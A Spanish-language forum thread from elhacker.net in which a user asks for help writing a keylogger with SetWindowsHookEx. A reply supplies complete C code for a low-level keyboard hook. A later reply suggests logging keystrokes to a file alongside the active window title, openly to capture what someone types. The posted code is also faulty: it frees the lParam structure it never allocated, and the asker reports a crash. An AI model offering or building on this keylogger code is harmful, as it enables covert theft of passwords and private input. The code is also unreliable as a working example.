Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: yovaninu en 5 Agosto 2011, 05:03 am



Título: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
Publicado por: yovaninu en 5 Agosto 2011, 05:03 am
Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.


Título: Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
Publicado por: naderST en 5 Agosto 2011, 06:51 am
Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. HHOOK hHook;
  5. MSG messages;
  6.  
  7. LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam);
  8.  
  9. int WINAPI WinMain (HINSTANCE hThisInstance,
  10.                     HINSTANCE hPrevInstance,
  11.                     LPSTR lpszArgument,
  12.                     int nCmdShow)
  13. {
  14.    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL);
  15.  
  16.    while(GetMessage(&messages, NULL, NULL, NULL)){
  17.        TranslateMessage(&messages);
  18.        DispatchMessage(&messages);
  19.    }
  20.  
  21.    return messages.wParam;
  22. }
  23.  
  24. LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){
  25.    if(nCode < 0)
  26.        return CallNextHookEx(hHook, nCode, wParam, lParam);
  27.  
  28.    if(wParam == WM_KEYDOWN){
  29.        PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam;
  30.        printf("%c", teclado->vkCode);
  31.        free(teclado);
  32.    }
  33.  
  34.    return CallNextHookEx(hHook, nCode, wParam, lParam);
  35. }
  36.  
  37.  

Aquí algunos links a la MSDN:

http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspx (http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspx)
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx (http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx)

Todo lo que tiene que ver con el API de Windows esta ahí.


Título: Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
Publicado por: yovaninu en 5 Agosto 2011, 23:42 pm
Ok, gracias por el ejemplo naderST, aunque en el Vs 2005, tuve que cambiar la definicion del preprocesador a UNICODE;_UNICODE;_WIN32_WINNT=0x0500 para que el ejemplo pueda ejecutar, ya sin ello daba el error
Código:
'WH_KEYBOARD_LL': undeclared identifier

Bueno, al ejecutar el codigo de ejempo, aparentemente, ( o hasta donde hago el esfuerzo de entender) captura la tecla pulsada y luego el programa se detiene, me sale la sgte ventana:
(http://www.tecnosantalucia.edu.pe/hwiz/screen.jpg)

Cuales son los procedimientos que deberia realizar para poder ver las teclas capturadas y/o guardarlas en un archivo?

Gracias por su tiempo.


Título: Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
Publicado por: naderST en 6 Agosto 2011, 05:39 am
Código
  1. teclado->vkCode

Con eso tienes la tecla y bueno lo demás de guardarlo en un archivo es básico, puedes usar la función GetForegroundWindow() para obtener la ventana actual y guardar eso en el archivo de texto y con eso saber en que ventana el usuario esta escribiendo y hay una infinidad de cosas que puedes hacer, ponte creativo.